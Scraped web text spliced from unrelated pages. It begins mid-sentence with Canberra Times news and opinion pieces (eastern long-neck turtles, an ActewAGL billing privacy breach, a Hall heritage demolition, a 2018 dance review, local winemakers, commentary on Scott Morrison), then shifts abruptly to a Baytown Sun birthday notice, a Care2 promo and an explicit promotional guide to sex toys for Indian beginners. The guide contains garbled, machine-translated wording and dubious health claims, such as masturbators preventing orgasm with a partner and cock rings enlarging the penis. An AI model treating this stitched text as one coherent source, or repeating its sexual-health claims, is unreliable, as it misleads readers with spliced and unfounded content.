clean-up problem: the eastern long-neck turtle. Canberra's recent spell of wet weather has been prime time for the turtles, with softer soil making it easier to make nests and lay eggs as they migrate around the capital, including near Yerrabi Pond. While the eastern long-neck turtle isn't endangered, Western Sydney University associate professor in ecology Ricky Spencer warned their population was in decline nationally and they formed an important part of the ecosystem. "They're the major vacuum cleaners of the river," Dr Spencer said. He and a group of researchers are working with the CSIRO to see how effectively the turtles can eat up carp carcasses. "If the carp herpes virus is released they will be the major scavengers that help with the clean-up," he said. "There's no way that manually going around collecting dead carp throughout [NSW] and the ACT is going to be quite feasible in the time frame if the water quality gets terrible." He said the next best scavengers to deal with dead carp were yabbis and then bacteria, but neither were anywhere near as efficient as the eastern long-neck turtle. Dr Spencer is part of a group of ecologists and volunteers mapping the locations of the turtles inside the sanctuary, counting their numbers and helping protect their nests. The population inside Mulligans Flat is booming thanks to the lack of predators, and it is hoped the sanctuary's turtles can be used to restock populations across NSW and the ACT. At last count, the number of turtles inside Mulligans Flat was 600, Dr Spencer said. Inside the sanctuary at Mulligans Flat on Friday, Woodland and Wetlands Trust Indigenous project officer Kristi Lee drove inside the electrified fence line looking for turtles. The fence protects the turtles from foxes, feral cats and fast cars, but it also presents a problem. "It's sort of a barrier to turtle migration," Ms Lee said. The turtles follow migratory paths as they seek to lay eggs and forage around Canberra, but once they reach the fence they are unable to get past it and simply sit there. Ms Lee said this was fine during the wet weather, but when it got sunny and hot the turtles could die of heatstroke. A group of volunteers help patrol the fence line and help put the turtles back inside or outside the fence. Ms Lee said it was important for the turtles to be able to follow their migratory instincts, but they faced risks outside the fence. She said the long-neck turtle did have its own defence mechanism - it released a foul scent that was enough to make humans gag, but did not deter foxes. "A fox might go, 'Wow, I want to eat you even more'," Ms Lee said. The stench has earned the reptiles the common name of the 'stinker turtle', extra appropriate considering the perpetual grin the turtle wears - and has also bombed out Ms Lee's ute as she collects the reptiles from the fence line. But thanks to the lack of predators inside the sanctuary, its native Australian species are thriving. Barely a minute after driving inside the electrified zone on Friday, Ms Lee stopped her ute to look at a shingleback lizard. The jet-black variant of the species is only found in the ACT, and the one Ms Lee found was lazily crossing the dirt road. "We have heaps of them in here. It's a breeding ground," she said. "They're actually pretty cute because they mate with the same breeding pair for life." Minutes later, she stopped her ute again after spotting an echidna by one of the dams which house the turtles. "We have about 51 [echidnas] in here," she said, before noticing the one she had spotted hadn't been tagged. "It looks like we've got 52," she said. /images/transform/v1/crop/frm/silverstone-ct-migration/a3b6cb6e-745c-4b90-b0fe-8fc50a026a6f/r0_321_6000_3711_w1200_h678_fmax.jpg news, latest-news ActewAGL has collected 91 per cent of bills which were sent out by mistake to 400 customers last week in a massive privacy breach that affected 6000 Icon Water and ActewAGL customers. That means a week after the first bundle of bills was identified, the private billing information of about 540 utility customers is still in the hands of strangers. ActewAGL confirmed last week that 400 electricity, gas and water customers had received bundles of bills addressed to 6000 other customers. The bills arrived loose leaf in envelopes and boxes, in some cases containing more than 500 bills. The company said on Wednesday that it had identified all of the customers whose invoices were sent out by mistake and had written to all of them. ActewAGL general manager of retail Ayesha Razzaq wrote to affected customers on Monday to apologise for the "oversight". By Friday last week, 70 bundles of bills had been retrieved by the utility provider. The company said it would write to recipients it had not been able to contact by phone and supply a reply paid envelope to return the bills. "We will provide a formal report to the Office of the Australian Information Commission within 30 days of the incident, in accordance with our obligation under the mandatory data reporting scheme," a spokeswoman for the company said. The Canberra Times revealed nine cases last Thursday where bundles of bills were sent to the incorrect ActewAGL and Icon Water customers. John Steep, who received about 200 bills in an envelope addressed to his Belconnen home last Wednesday, waited until Friday morning to have the bills collected. Mr Steep was told last Thursday that the bills would not be collected that day due to safety concerns for ActewAGL staff driving on wet roads. The bills will be reissued with a new payment due date, the company said. ActewAGL manages mail-out services for Icon Water through a third-party mailhouse, where the error occurred. /images/transform/v1/crop/frm/silverstone-ct-migration/a2a2a5dd-26a6-43cd-9814-5ed4ff30d4b2/r0_385_4032_2663_w1200_h678_fmax.jpg news, latest-news It took me years to wean myself off sending Christmas cards. Those early years of parenthood were accompanied by the clear exploitation of my children, chained to their chairs, resulting in chairs, children and cards adorned with glitter and glue. When my elves grew resentful of forced emotional labours, I spent a few years buying boxes of cards. I sent the last one in 2008, when my youngest left school. I might have been an early rejecter but as soon as we could express Christmas cheer online and without having to spend four bucks on a card and nearly that much on postage (slight exaggeration), I signed my last card and logged on. If email gave the Christmas card industry the heebies, one social media tool piled on the jeebies. Cards were always the one way you could celebrate Christmas with near perfect strangers while keeping your distance, the (kind of) gift which didnt cause a rift but emojis finally killed the Christmas card, the little decorated trees and snowpeople, the candycanes and candles addable, shareable to Insta posts, to Twitter, Snap and Facebook. They have become what passes for Yule tidings. The University of Yorks Russell Belk is the world expert on gift-giving. Belk, a professor of marketing whos researched gift giving for nearly 40 years tells me that the death knell for a very stationery Christmas came with the advent of those cute little characters we attach to our online messages now. Its not just emojis. Sometimes we send silly cat pictures and what they mean is: I am here, I remember you, you are a part of my life, he says. In other words, for those you - really - care about, there are always Christmas GIFs, a cat in a Santa hat or similar. Now Ive gone one step further. This year, for the first time ever, I have not bought one single Christmas present. Ive even resisted being signed up for any Kris Kringles. Too often you find yourself being forced to buy a present for the most irritating person in the office. (Kris Kringle is freaking torture, tell me I'm wrong). So this year, no wrapping. No sorting through the $2 bins looking for the least offensive wrapping paper. No losing the end of the sticky tape. I had nothing against Christmas gifts except for wallet wallow, that sad feeling at the end of December when you realise youve pissed good money up against bad collateral. Belk says social media has also had a huge impact on gift giving during celebrations and particularly in China, where its possible to augment your WeChat with virtual hong bao, an digital transfer of festive funds, particularly at Lunar New Year. That particular custom has yet to penetrate the west, says Belk but he predicts it wont be long he says weve given up our strange little quirk that told us that giving money or gift cards was somehow wrong. Gifts still matter though. Especially, it turns out, ones we buy for ourselves. Aditya Gupta, who contributed to the new book Gifts, Romance, and Consumer Culture, says self-gifting is on the rise. Its the idea of buying something to treat yoself. There, we can be as lavish as we like but beware spending that kind of money on anyone else. Gupta, a researcher at the University of Nebraska, warns against spending big on someone you fancy just in case the feeling isnt reciprocated. A gift that is perceived to be too lavish or too expensive might actually have a detrimental effect on a budding relationship because the recipient of the gift might feel awkward, he says. A whoa! We arent there yet moment. Nearly 10 years ago now, Joel Waldfogel wrote Scroogenomics, an influential book that said we should stop buying Christmas presents because of what he described as deadweight loss spending too much money we dont have on poorly considered gifts that remain unappreciated. He had the wrong approach though. We need to fix the way we choose gifts. Be more thoughtful and maybe a touch less pragmatic. Do I really need to tell you not to buy a vacuum cleaner for Christmas? No matter how much hubby says he wants a Dyson for Christmas, do not do that. Think really hard about the object of your desire and the objects of their desires. Its probably not even an object. Its time, experience and intensity. It's paying attention not money. Most of us cant compete with the tender symbolism of Jim and Della in O, Henrys The Gift of the Magi. He sells his beloved fob watch to buy her combs for her hair. She cuts off her locks and sells them to a hairdresser so she can afford a chain for his fob watch. This story always made me furious they didnt speak to each other and deliciously Christmasly sad. Still working on your Christmas gift technique? Gupta has one big tip from recent research. If you want to improve your relationship go for a gift that is an experience: holidays, movies, concerts. He says these are instrumental in fostering stronger social relationships with those you care about. For everyone else, theres Kris Kringle. Jenna Price is an academic at the University of Technology Sydney. /images/transform/v1/crop/frm/silverstone-ct-migration/27358f43-edd5-4a73-b6d6-0c8affb1f73c/r0_28_400_254_w1200_h678_fmax.jpg news, history, Residents in the heritage village of Hall have criticised the ACT government's decision not to take action over what authorities say was the unauthorised demolition of a stone cottage on a heritage-listed block. The residents believe the lack of action sets a precedent that places Canberra's significant buildings at serious risk. A pre-1900 stone cottage at 8 Palmer Street was knocked down on October 3 and 4 last year, just over three months after Stephen and Deborah Fleischer bought the 2029-square-metre block for $985,000 at auction. The north Canberra block, which is listed on the ACT Heritage Register as a place of specific value within the Hall Village Precinct, also contained a house known as Ottocliffe, which was demolished after it was found to contain Mr Fluffy loose-fill asbestos fibres. ACT Heritage Council chairman David Flannery said while the council gave approval for the demolition of Ottocliffe, no council approval was sought or obtained for the subsequent demolition of the stone cottage, which was free of asbestos. Access Canberra launched an investigation on October 18 last year into potential breaches of the Heritage Act. Its regulatory compliance team found the demolition of the cottage, thought to have been the only cottage in a village setting in the capital, "may have been an unfortunate misunderstanding". The ACT government decided not to pursue a prosecution against any parties involved in the demolition. "The evidence available and information presented meant that the fault elements of the offence under the Heritage Act, specifically that the act was reckless or negligent, was not satisfied," an Access Canberra spokeswoman said. "In addition, the Director of Public Prosecutions prosecution policy states that the evidence offered must have a reasonable prospect of conviction. "Access Canberra determined that there was not likely to be reasonable prospects, thus no further action was undertaken." Hall resident Rob Collins said the decision was "poor as piss". Fellow resident Jonathan Palmer called it "bizarre" and said someone needed to be held to account. "There is something very wrong here," Mr Palmer said. "If heritage buildings can be destroyed without any consequences because the government is prepared to accept that it may have been a misunderstanding, then our built heritage is at serious risk." Mr Palmer wrote to Environment and Heritage Minister Mick Gentleman, who reiterated Access Canberra's findings that there was "not enough information to suggest that any party blatantly disregarded the law". In his reply to Mr Palmer, Mr Gentleman said he had directed the Environment, Planning and Sustainable Development Directorate to contact the parties involved in the demolition of the stone cottage and to remind them of their obligations around heritage conservation. "I have also requested that the directorate consider legislative improvements including establishment of strict liability penalties and 'repair' provisions," Mr Gentleman wrote. Mr Palmer also contacted the Asbestos Response Taskforce and received a response, seen by the Sunday Canberra Times, which said the contract for the sale of 8 Palmer Street included a "retained improvements schedule" that noted clearly that the stone cottage was a heritage structure. But Mr Fleischer, who owns the block on which the cottage stood, claimed to have received approval from the ACT Heritage Council to knock it down. He said he had no knowledge of the government investigation until contacted by the Sunday Canberra Times, and asked why, if the demolition was unauthorised, he had not been charged. "As far as I knew, it was all OK," he said. "We had all the approvals from Heritage and everything was signed off." On Wednesday, Mr Fleischer said he would email the Sunday Canberra Times documentation showing the approvals he received, but he did not do so. Whether anything will be done to attempt to register some of the heritage lost at 8 Palmer Street, which is currently a vacant block, remains unclear. ACT Heritage Council chairman David Flannery said the council had not been approached with any proposals designed to remedy the loss of the stone cottage, but that he would welcome any such discussions. He said the cottage was a "sad loss" for the territory. "It must be said that the [ACT Heritage] Council does share in the communitys dismay at the loss of this place, but we accept the findings of the investigation that its just a misunderstanding," Mr Flannery said. "In future, the council will make sure that - where there are multiple buildings on the [same] block and approval is given for demolition for one - it is clearly stated that other buildings on the block are not necessarily, unless so indicated, marked for demolition." /images/transform/v1/crop/frm/silverstone-ct-migration/acaf638b-faf7-4a07-8966-7123d4546775/r0_271_5000_3096_w1200_h678_fmax.jpg news, latest-news Looking back at 2018 I find, thankfully, that I dont have to complain too much about the state of dance in the ACT. In 2018, in addition to work from a variety of local companies and project-based groups, dance audiences in Canberra were treated to visits from the Australian Ballet, the Australian Ballet School, Australian Dance Theatre, Bangarra Dance Theatre, The Farm and Sydney Dance Company. Most performances were in traditional venues, but one or two were site-specific and, in addition, the National Portrait Gallery and the National Gallery of Australia offered their venues for dance performances. Beyond performance, it was exceptional news that Rafael Bonachela, artistic director of Sydney Dance Company, had agreed to become a patron of QL2 Dance, Canberras youth organisation. Things are looking up perhaps? I have arranged my top five events chronologically according to the month in which they were performed. RED. Liz Lea Productions In March Liz Lea presented RED, a work that won her a Canberra Critics Circle Award later in the year. It was a powerful, courageous, autobiographical work that touched on Leas struggle throughout her career with endometriosis. But beyond that it was distinguished by outstanding choreography from four creators, all of whom highlighted Leas particular strengths as a dancer. There was also stunning lighting by Karen Norris, a range of film clips that added context throughout and strong dramaturgy by Brian Lucas, which gave coherence and clarity to the overall concept. It was a highly theatrical show, which also presented a very human, very moving message. The Beginning of Nature. Australian Dance Theatre In June Australian Dance Theatre returned to the national capital after an absence of more than a decade. The Beginning of Nature, choreographed by artistic director Garry Stewart, focused on the varied rhythms of nature. It was compelling and engrossing to watch. The dancers of this company seemed to defy gravity at times and their extreme physicality was breathtaking. But the work was also an outstanding example of collaboration between Stewart, his dancers, an Indigenous consultant familiar with the almost-extinct Kaurna language of the Adelaide Hills, and composer Brendan Woithe, who created a remarkable score played live onstage by a string quartet. Cockfight. The Farm The Farm, featuring performers Gavin Webber and Joshua Thomson, arrived in September with Cockfight. Set in an office situation, and dealing with interpersonal relations within that environment, Cockfight was an exceptional example of physical theatre. Both Webber and Thomson gave riveting performances and the work presented a wide range of ideas and concepts, some filled with psychological drama, others overflowing with humour. It was totally absorbing from beginning to end. World Superstars of Ballet Gala. Bravissimo Productions This Canberra-only event early in October showcased a range of outstanding dancers from across the world in a program of solos and duets, mostly from well-known works from the international ballet repertoire. It belongs in the list of my dance picks for 2018 on the one hand because the artists showed us some spectacular dancing. But it also belongs here because Bravissimo Productions (a newly-established Canberra-based production company) had the courage to take on the task of defying convention and bringing superstars of the ballet world not to Sydney or Melbourne or Brisbane, but to Canberra. The international stars that came were not the worn-out, about-to-retire dancers we so often see here from Russian ballet companies, but stars of today. I hope Bravissimo Productions can keep it up. Canberra is waiting. MIST. Anca Frankenhaeuser and Kailin Yong MIST was the standout performance of the year for me. It was one item in Canberra Dance Theatres 40th anniversary production Happiness is, which took the stage in mid-October. As a whole, Happiness is was somewhat uneven in the quality of its choreography and performance, but MIST, listed as a duet in the form of a pas de deux between a dancer and a musician, was simply sensational. And it really was a pas de deux with violinist Kailin Yong moving around the stage, and even lying down at times as he played, and with dancer Anca Frankenhaeuser involving herself with his playing in a way that I have never seen anywhere before. With choreography by Stephanie Burridge, an ex-Canberran now living in Singapore, it also carried an underlying theme about relationships between people. It was an exceptional concept from Burridge, beautifully realised by Frankenhaeuser and Yong. I hope we can keep moving forward in Canberra in 2019 with dance that is inclusive and collaborative, and also theatrically and intellectually satisfying. A varied program of dance in 2018 showed us the possibilities. /images/transform/v1/crop/frm/silverstone-ct-migration/21c8cd79-e7b1-452e-bbbe-47d616e094ab/r0_111_2000_1241_w1200_h678_fmax.jpg news, latest-news Pasquale Trimboli, Italian and Sons This Braddon restaurant took the ACT honours in Australias Wine List of the Year Awards mid year. Its wine lists like this that titillate and delight at every page turn, judges said. Thoughtful selection means you get a list that has a strong theme to match the cuisine, but isn't limited to a narrow bandwidth, instead offers a global exploration that shows nuance, personality and wines of immense interest and drinkability. For owner Pasquale Trimboli, 2018 has been a year where hes watched diners become more adventurous with their wine choices. Theyve become a lot more willing to try off-beat wines and grape varietals, he says. And theres been a turn to natural and organic wines as well. He says the page featuring verticals of the wines of Ken Helm, his rieslings back to 2009 continue to be well received. At one of his other venues, Mezzalira, theres a page of Clonakilla shiraz viognier verticals back to 2006 and a five-course Italian tasting menu matched with local Canberra wines, both of which are also very popular. What hes drinking now: Barbarescos are always a treat, wines that are great value, versatile and flexible, they can be as light as you want them to be, or as powerful as any good burgundy. Its all about the tannins and the structure and how it marries with the food. Nick OLeary, Nick OLeary Wines 2018 was a successful year for OLeary. James Halliday gave him five red stars (the highest rating) in his Wine Companion and listed the vineyard as one of the top 10 best value wineries in the country. And his 2018 White Rocks riesling also took out best white wine of the show at the NSW Wine Awards. There are expansion plans out at the Wallaroo estate as well. Hes doubling the size of the production facility and planting another five hectares of grapes. We can't get enough riesling from the district, we're short and we can't buy it so we have to grow it ourselves, he says. OLeary says its been a great vintage for the whole Canberra district. Probably one of the best vintages Ive seen. We had really nice, even, weather, we didn't have too many hot days, we had rain at the right times, it was an easy growing season and there was not much disease pressure in the vineyards. Varieties were coming off in the order that they should, we didn't have reds and whites coming off the vine in the same week like we did in previous seasons. Hes been impressed by all the 20187 rieslings hes tasted. It just shows Canberra district riesling at its best, very pure, sort of lime and lemon flavours coming through, they can be drunk now but they're going to live in the cellar for a long period of time as well. What hes drinking now: We're big champagne drinkers in our household. We go through a fair bit of champagne, growers champagne and anything that we can get our hands on really. I love Clare Valley rieslings as well, Ill be drinking those over the summer for sure. Richard Watkins, Bentspoke Watkins isnt afraid to admit 2018 has been a testing year. Bentspoke has grown from a staff of 45, employing 30 more people to meet production demands. But theres no problem that cant be solved over a few beers. As a brewing team we get together and talk about wanting to always enjoy our own beers, its an important part of what we do, he says. Hes pleased the Canberra brewery is starting to be recognised nationally, in the Beer Cartel 2018 Craft Beer Survey, Bentspoke ranked sixth nationally. But at the same time weve had better support than ever from the Canberra community. From deals with Canberras W-League team, to a beer that celebrated our relationship with sister city Wellington, Bentspoke was always in the news. The Brew Pub in Braddon continues to go from strength to strength as well, with 18 varieties of beer and cider on tap and a menu that continues to surprise. The zucchini and mint fritters never fail to please nor do the grain crusted hot wings which are coated in malted brewers grain Theres a new beer for summer too, Easy, with a 3.2abv. Its a cleansing ale, an easy drinking mid-strength beer with tropical fruit hop aromas and a clean finish, Watkins says. What hes drinking now: Im loving what Stone and Wood are doing, and Balter are making some quality beers. But weve got some good beer in our own backyard. Wade Hurley is doing a great job at Capital Brewing making some really interesting beers. Toby Angstmann and Claudia Roughley, Underground Spirits The team at Underground Spirits say 2018 has been a great year, its only their second if you can believe that, given their market success and community support. Were enjoying the process of moving from being the new kids on the block to a more established part of the scene, says Angstmann. We've had some great success with our rebranding, with the Canberra focussed labels, and we've been smashed by people who love gin and thats great. Hes enjoying collaborations with local producers, the coffee vodka produced with Bellerophon back in August was a great success and look out for some whiskey produced with the help of local barley and wheat growers. We've got some interesting navy strength gin coming in 2019, which will be something different for us and we're looking at potentially playing with some pre-mix stuff as well, he says. Were growing our line, focussing on quality over quantity, and mixing things up. Roughley, the Spirits CEO says the company tagline this year was the spirit of Canberra and shes pleased thats where the company is positioned. Weve got people talking about us, she says, people behind us, it does feel like we're the talk of the town at the moment, we're riding high. What theyre drinking now: Toby: For Christmas Ill be trying the caramel vodka with a bit of cloudy apple juice and a touch of cinnamon. Claudia: Gin, gin, gin. The shiraz gin is lovely with soda and ice, a refreshing and invigorating and exciting drink perfect for summer. /images/transform/v1/crop/frm/silverstone-ct-migration/4d6300b0-7abc-4a65-a6e4-60742362b336/r2_0_728_410_w1200_h678_fmax.jpg news, latest-news Commentary on Scott Morrison rarely takes seriously the fact that he is yet another Sydney Liberal leading this country. His Pentecostal church-going is elevated as is his occupational background in tourism and the Liberal party state organisation and his ministerial background in immigration and treasury. Sometimes his local background in the Sutherland shire and his support for the Cronulla Sharks is emphasised. But rarely his state of origin as such. He comes from Australias largest state, New South Wales, and Australias biggest and most cosmopolitan city, Sydney. He shares his origins with the previous three Liberal prime ministers, John Howard, Tony Abbott and Malcolm Turnbull, as well as Brendan Nelson, the other federal Liberal leader during this time. There are important Liberal players from other states, including the conservative Queenslander Peter Dutton, who undermined Turnbull, and the former deputy leader, Julie Bishop, from Western Australia. But in a world where the culture of the state Liberal parties varies considerably, the NSW Liberals really do own the nations conservative leadership. That makes the Liberal leadership and the conservative side of Australias prime ministerial coups quite different from those on the Labor side where Kevin Rudd from Queensland deposed Kim Beazley from Western Australia and was in turn overthrown by Julia Gillard from Victoria before returning the favour. The Labor leadership now rests with another Victorian, Bill Shorten. Labor exhibits a much more national look than a succession of Sydney Liberal leaders. Morrisons state of origin matters because while these recent Liberal leaders are very different individuals from different parts of a very big city they are all creatures of the small world that is the NSW Liberal Party. They are part of the Sydney Liberal bubble. The NSW Liberal dynasty is headed by Howard, Australias second-longest serving prime minister. His imprimatur is regarded as priceless by his younger colleagues because of his record of success and he has stood determinedly by all three of them as each has had their short moment in the sun. But his support comes at a cost to them because, at the age of 79, he now regularly offers sage media comments about Liberal Party affairs and wider national issues. His reputation is growing rather than fading as comparisons are made between the apparent stability of his era and the national leadership instability since 2010. He has been an unintended beneficiary of the current leadership chaos. The Howard years were undoubtedly stable, given that the three senior Liberal leaders, Howard, treasurer Peter Costello and foreign minister Alexander Downer, held the same portfolios for the whole 11 years. But there was also constant leadership tension between Howard and Costello and deep party divisions over the monarchy-republic question which are now glossed over. The cost extracted for his support is that Howard, who is firmly on the conservative centre-right of the party, has strong opinions on policy matters which he is not afraid to voice loudly. They can either help or hinder a prime minister. He supported Morrison in the dangerous recognition of Jerusalem as the Israeli capital and campaigned for the losing "no" case against Turnbulls preference for the introduction of same-sex marriage. The New South Wales Liberal Party has several notable characteristics. It has been extremely faction-ridden for many years and the battles between well-organised conservatives and moderates are bitter. The right-wing of the party contains a strong religious element, including a Catholic and an Evangelical right. The NSW Liberal religious right is nurtured by a strongly conservative evangelical strain within Sydney Anglicanism, which puts it at odds with Anglicanism elsewhere in Australia, and by one of the more conservative dioceses in the Catholic Church, led now by Archbishop Anthony Fisher and previously by Cardinal George Pell. Neither Sydney Anglicans nor Sydney Catholics are known for encouraging inclusivity and/or female leadership. The Liberal right also has the loud support of conservative secular shock jocks like Alan Jones and Ray Hadley and conservative newspaper columnists. Despite national voting trends it is a challenging environment for a moderate Liberal like Turnbull but a very supportive one for conservatives like Abbott and Morrison, giving them a ready outlet through their regular appearances with Hadley and Jones. All prime ministers bring their own values and prejudices. One of these is that they fall back on known-quantity friends and colleagues from their own state when making appointments. Rudd, for example, appointed a fellow Queenslander, Quentin Bryce, who had been governor of Queensland, as governor-general. When Turnbull was looking for a safe pair of hands to review religious freedom he chose Sydney-sider Philip Ruddock, the long-serving Howard-era minister who had become state Liberal party president. An unwillingness to move outside his personal comfort zone is one explanation for Morrisons captains pick of NSW Governor and former general and defence force chief, David Hurley, as Australias next Governor-General. It is a pick which accords with Morrisons own values which he expanded on in his remarkably effusive justification which drew on the model family values exhibited by David and Linda Hurley. But it is also an illustration that we all live in our own bubble, in Morrisons case a conservative Christian/white male/Liberal/Sydney bubble. For some time, in his random comments on education, gender, religious freedom and other matters he has demonstrated that that bubble is his comfort zone. It is a narrow view of the world, reinforced by Sydney media and church leaders, one in which traditional values are perpetually under siege, but which is not shared by large parts of the wider Australian community. His vision will be tested at the next federal election. John Warhurst is an Emeritus Professor of Political Science at the Australian National University /images/transform/v1/crop/frm/silverstone-ct-migration/805200b9-ea8a-40be-a507-453132c3beae/r0_251_4945_3045_w1200_h678_fmax.jpg Birthday wishes Call 281-422-8302 or email david.bloom@baytownsun.com to wish someone a happy birthday. We will print your birthday wish on Page 2 of The Sun. Happy Birthday Wishes Our Promise: Welcome to Care2, the world's largest community for good. Here, you'll find over 45 million like-minded people working towards progress, kindness, and lasting impact. Care2 Stands Against: bigots, racists, bullies, science deniers, misogynists, gun lobbyists, xenophobes, the willfully ignorant, animal abusers, frackers, and other mean people. If you find yourself aligning with any of those folks, you can move along, nothing to see here. Care2 Stands With: humanitarians, animal lovers, feminists, rabble-rousers, nature-buffs, creatives, the naturally curious, and people who really love to do the right thing. You are our people. You Care. We Care2. The sextoy market is growing quite rapidly in India right now. Although it is not a big trend, it is a hot topic on the internet as it is secretly expanding its market. In this article, we will focus on sextoy and introduce recommended sextoy for Indian beginners of sextoy by gender. India, the birthplace of the Kama Sutra, is very strict about sex. Also, premarital sex is basically not allowed. Therefore, there are many people who are sexually restricted. But what happens when you continue to be sexually restricted? Frustration may build up and you may end up taking your sexual stress out on your partner. If you are able to adopt sextoy in a timely manner, you can get rid of those problems. I want to have more exciting sex than Im having now. I want more variation in masturbation I want to get even stronger pleasure than I do on my own. If you have any of these problems, please stay with me until the end. What is sex toys for Indian? Sextoy, as the name implies, is a toy used during sex and masturbation. It is a generic term for vibrators, Egg-vibrators, Electric massagers, dildo, handcuffs and condoms. They are used to make regular sex more exciting or to make masturbation more pleasurable. Because sextoy is very stimulating, it can help you to get rid of the problems and frustrations of being in a rut of sex with your partner for a long time, or if you are unhappy with the lack of pleasure in sex with your partner. The ability to satisfy your desires with movement, texture, and size, which cannot be done by a normal human being, can help you to be satisfied with sex and, as a result, improve your relationship with your partner. It is also said to help improve sexual dysfunction (inability to get an erection or ejaculate) and difficulty in feeling during sex (insensitivity), which is attracting more attention than in the past. In recent years, the demand for sextoy has increased due to the spread of smartphones and the Internet and the increasing number of people using online shopping. Even those who are concerned about the appearance of sextoy (and find it difficult to purchase) can now easily obtain it by using mail order. In the case of online shopping, most of the stores have taken steps to ensure that the contents of the products delivered to you are not revealed, so you can purchase them without your family members knowing. Until a while ago, you had to go to the store where the adult goods were sold to buy them, so it was quite a hurdle to overcome. Also, many people may have an image that sextoy is somehow embarrassing to own. But nowadays, some of them are so stylish and cute that you cant believe they are sextoy at a glance. More and more people are using them for travel and outdoor use because they are not too bulky and are suitable for carrying around. Sextoy situation in India Before introducing the recommended sextoy for Indians, lets talk about one of the sextoy situations in India in recent years. In India, due to the high concentration of population, the following six cities have particularly high sales of sextoy in India. Mumbai Kolkata Bangalore Delhi Chennai Hyderabad These cities account for roughly 70 percent of sextoy sales in India. In the future, the percentage of sextoy use will gradually increase in other cities in India as well. If you never talk about sextoy publicly, that girl in your neighborhood might be a sextoy user too. If you are interested in sextoy, you dont have to suppress your desire for it. What are Sextoys for beginner? Among all sextoys, sextoy for beginners are vibrators, dildo, masturbators, Sex Lubricants, and condoms. Sex Lubricants and condoms, which are familiar to people who have had sex, are also a great beginners sextoy. I will explain the details of each toy later, but there are many sextoy products that are painful to use and can only be used after some anal expansion. I assume that the Indian readers of this article are people who have not had much experience with sextoy. If such people use professional sextoy suddenly, they are at risk of injury or trauma. Therefore, to introduce sextoy, you need to start with a beginners version and gradually become familiar with it. Advantages of using sextoy for Indians There are three advantages of using sextoy for Indians You can masturbate in a wide variety of ways. Can have stimulating sex Can develop new sexual zones If you try to masturbate with your own fingers or hands, it tends to be a pattern. However, with sextoy, you can easily masturbate in a variety of ways. You will definitely be fascinated by the attraction of new stimulation. Also, your daily sex life will be more exciting than ever. There are many things in sextoy that are visually stimulating and give you a strong and intense feeling of pleasure. This allows you to see your partners promiscuity in a way that you wouldnt normally see it. When you are in a relationship, sex with your partner may become a pattern, but it can also eliminate these problems. It can also lead to the development of new sexual zones (which is the training of sexual stimulation to allow you to feel orgasms). For more information on the development of new sexual zones, see the following articles [Women's Erogenous Zone]How to find and develop, 7 hidden sexual zones !![In India] In this issue, we will dissect the female erogenous zone! ..." Many of you may be like that. Men, in particular, shou... Thus, the use of sextoy can only be a good thing for the men and women of India. Sextoy for beginner men in India So, lets continue with the recommended goods for Indian sextoy beginners. For ease of understanding, we will introduce them by gender. Lets start with the men! The following five goods are recommended for novice Indian sextoy men Masturbator Cock rings Love Doll Sex Lubricants Toys for the prostate Lets check each one in detail. Masturbator The masturbator is a sextoy for men that elaborately reproduces a womans vagina, mouth, and anus, and is one of the most popular sextoy products. It is used by men to masturbate, and it is popular because it provides stronger stimulation and pleasure more easily than using hands. Most are made of good quality silicone, and their softness is something that cannot be achieved with ones own hands. They can provide stronger pleasure than a real womans vagina, so be careful not to overuse them. (You wont be able to have an orgasm in a womans vagina anymore.) Again Male masturbators are a wonderful toy. I do not need any favourite timing, bothersome bargaining. You do not have to worry too much. Revolutionize your masturbation time! ! ! Made in Japan is a wonderful kinky toy.#sextoysindia #SexToyIndia #Japanhttps://t.co/4k70QGzoTP pic.twitter.com/tRVdxTKPpa SEXToys India PR (@SextoysIndia) November 12, 2018 Some of them are disposable, while others can be washed and used over and over again, so its fun to buy a few to use depending on your mood. If you want to know more about masturbator, please click here Really pleasant male masturbation and how to do it Are you in a rut with your daily masturbation routine? I'm going to show you five ways men masturbate that you might ... [For Beginners] How to choose and use a male masturbator without fail Gentlemen.Have you ever used a masturbator? The person who sees this article is probably the one who has not experien... Cock Ring A cock ring is literally a ring-shaped sextoy that is worn on a mans penis. It maintains an erection by binding the penis with a ring of rubber and blocking blood flow. It is sometimes used as an accessory to be worn on the penis, and may be made of metal or plastic as well as rubber. In some cases, cock rings have parts or vibrators attached to them that stimulate the vagina, so they kill two birds with one stone, giving a woman pleasure while maintaining an erection. Cock rings are also sometimes used to treat erectile dysfunction. It can help with erectile dysfunction, where the penis doesnt get hard when you get an erection or doesnt last long when you try to insert it. Men who are prone to breakage or who are unsure of the hardness and size of their erections can use a cock ring to increase the size of their penis and maintain an erection for a longer period of time. Cock rings vary in price from around RS700 to over RS2000 with a vibrator function. Some of them do not fit your penis, so you should check the size of the cock ring before you buy. You should know the size of your partners or your own penis when it is erect. [Penis enlargement] What is a cock ring? Types and usage Cock rings can make your penis bigger and harder. It also makes sex with women more fulfilling and increases your sat... Love Doll Love dolls, also known as Dutchwives, are dolls with the appearance of a woman who can experience simulated sex. There are dolls that look like a woman, but they have no face and only have their breasts and lower torso cut off, and some dolls are so realistic that they can actually be mistaken for real women. Some expensive dolls can cost more than 1 million yen, and the quality of the doll is easily influenced by the price. The higher the price, the higher the quality of the doll will be, the closer it will be to the real woman, and the cheaper the doll will be, the less elaborate it will be, making it look like a real doll! Something is wrong! That is also true. You cant go wrong if you choose a balance between price and taste. There are stores that allow you to make custom-made love dolls, so you can create a girl of your choice. You can make a girl of your choice. You can start with inexpensive love dolls at first, and once you get used to it, you can try custom-made love dolls. If you want to know more about Love doll, please click here Thorough explanation of the charm of sex dolls! Have you ever heard of sex dolls that are used primarily for pseudo-sex purposes? It is a doll that is quite close to... Sex lubricants Sex lubricants are used as a substitute for lubricating fluid during sex or as a lubricant for men to use masturbator rules. It is not uncommon for women to have difficulty getting wet, depending on their physical condition, or to have difficulty getting wet due to their constitution. Forcing the penis into the vagina at such times can cause painful intercourse. There are various types of Sex Lubricants, some with a warming effect, some with a cooling effect, and some with a scent. Changing the Sex Lubricant used during play is recommended as a good sex accent. If you want to learn more about Sex Lubricants, click here. What is sex lubricant?Explain the difference and usage of each ingredient The word "sex toy" may seem like a hurdle to overcome, but lotion is actually one of the most familiar sex toys. Many... Toys for the Prostate Another sextoy for men is prostate toys. The most famous prostate toys include Enemagra, which was originally a prostate massager developed by an American urologist to treat an enlarged prostate line. Modern prostate toys are imitations of Enemagra that have spread as sextoy for men. Many people think of prostate toys as being used by gay men, but in fact they are often used by straight men. What is the prostate? The prostate is an organ found only in men. It is a walnut-sized organ located deep in the pelvis, just below the bladder, and its primary role is to protect and nourish sperm. You cannot touch the prostate gland from outside the body, but you can touch it by inserting a finger or sextoy through the anus. 